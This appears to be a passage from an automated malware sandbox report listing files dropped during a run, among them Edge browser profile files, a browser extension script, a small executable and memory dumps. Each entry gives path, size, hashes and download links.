SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 622a1aaf8ac4aa7396421f8289a49a39568a81cc2b151aa1aa38fd46b5de811d
MD5 697eedb695342a1e4d85be3c34e1b87b
SHA1 253cafd6c37f42f7923e22cb561e12b6bacf991d
SHA512 47d7b3f86e4335e962d8b89a873fe83d0f97d239f4aa83e329e0d407343e764cdf39d27109a0bf7fb1d40c9d1d682ec36cb626a7a02a44a201ce787980918b33
SSDEEP 768:arv+4UNbdM3gFJiJL3HNHXmTWTbc+/OeVH1SvyZ:absb+3SGeWn1WEH1dZ
TLSH
T17C03CF329CB98B37ADE69788714B7A573FB8116389C407C4C8D96B4E428B54D170BD3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 2433f8479fe30316bc0d52b31437e912f895458795997d6e71199dc18a419c8b
MD5 ff3b7ff91db2ca3ddfb8fac74bb47eac
SHA1 1a2bc58c324a3cec6e41f3ef84c951d46bfe3502
SHA512 d20f10d16204dee4215717e80d9c232742deff9812e423bae4400ee7021a716a4e856ae1b6bfb177e0f414cd6feabc2ddd423fa8ab568af180dc964315314bd4
SSDEEP 384:nyZcI/38Ny1JQo6OoxO7zRfY9bYq409MIjQPlLJQXmIkdP9IimIMWEfMbc+HAPO8:A/3MRj0iJL39xUNHXmTWTbc+HAPi9PG
TLSH
T14FF2BFB09CF99A27ADF6DFC8A60A6B42AFF90263D1D81584CDDDAB0D118355D031783B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 2a328089bb7d1ba5d3351851f7503acd206735a19052af3de793c530226b5d4c
MD5 5843ac550c5de6db52af7151109c76ae
SHA1 8379886eec5051396e8748f4033ed8118684a9e9
SHA512 9f1ad2cdc4a5521091de100c0a34e162b50eda1c5eb0fc34977f83a3a7229afb5c25f7b8d0298d034826adb575e14b62c91fa350313dc005997210130e95945a
SSDEEP 384:neZcI/38NykJQo6ORxO7zRfY9bYq409MIrQPlLJQXmIkdP9IimIMWEfMbc+HAPO8:c/3LRM0iJL39x8NHXmTWTbc+HAPi9PG
TLSH
T140F2AFB09CF99A27ADF69BC4A60A6B42AFF90163D1D81584CDDDAB0D118351D031783B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 740d0b62e7376eb78bbf43cb9ec8c4632f842c1374b6bc674933edc8cf2900a4
MD5 7062104919ccb030754bba557df5f4fd
SHA1 9c76e6a7ade38b95b7c62dec18d3ea6fb8d6650a
SHA512 1dc5fbb1440f9fffb10893f8579c4d181eaf1502c616cc23bd16ae6f9846bf32a79c9c603873497f4673be83cdc61a8be9898b29df32b2219ca71d57d433469f
SSDEEP 768:8rv+4UNbdM35CyiJL39x7NHXmTWTbc+eAeVH1SvyZ:8bsb+3lEx9eWn1fEH1dZ
TLSH
T1CE03BF7298B99A37AEE68BC8714BBA077FB8116385D406D4CCD92F4E028755D031BD3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 44KB
SHA256 bcacd4ac632d04dddb371a9676243c97f961a9b95026e9a5ad4f26303b8743b4
MD5 0af1233f33df1a3dc185209d95cebfa3
SHA1 b322229ed075bc3ee2ef98fff8a23b5bc2769d70
SHA512 9ded0176618dc0afad55e61d52485e0dafbbbcd296cdd2c65e369b7e54f0871302c8540a6b4b078e75dfbbb9f8326dc55ff48a502a46da53d103a833bf86d9c5
SSDEEP 768:mFQG3twglRRVcL39xkNHXmTWTbc+HAPi9PG:tG3Jgx8eWn1gPB
TLSH
T1EF1318F198E7963BE9AE8B87573D6E459EBCC153B1981484BBC85D0DCC8217FC306826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

61a8dc61-ce04-4008-bd76-bc1da6188fec.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\61a8dc61-ce04-4008-bd76-bc1da6188fec.tmp
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

0b4c2d2e-d51d-426c-9ec1-342b5db37bee.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\0b4c2d2e-d51d-426c-9ec1-342b5db37bee.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3388_1588553494\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 d3b791b505a145a8f4a7f58733a7d6cf4623578435b05e07a936c88dbe38322d
MD5 33354201cc49a7ddabecac7c33362c1e
SHA1 6547f5fe7b899c8b11481112f3b388c4adec058d
SHA512 2626c7343ecf737ac7d1eaf9f8ef970f98fca44ebbb8e34182e64748d2a8ad77f401864946172c31906bb99fc9e0fd42c83d4edd2d6cda3e806a8bb616b557e0
TLSH
T10071C08366A9D9B3C29A5FF102835644F6BB227C0B7360215B555986AA34A3A54B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/928-406-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1028-189-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1152-289-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1484-333-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1492-318-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1640-386-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1696-236-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1764-462-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1996-468-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2080-489-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3420-472-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3636-276-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4172-264-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4240-314-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4472-366-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4572-430-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4840-441-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4840-465-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4840-410-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4872-337-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5232-66-0x0000000000010000-0x00000000000AB000-memory.dmp

Download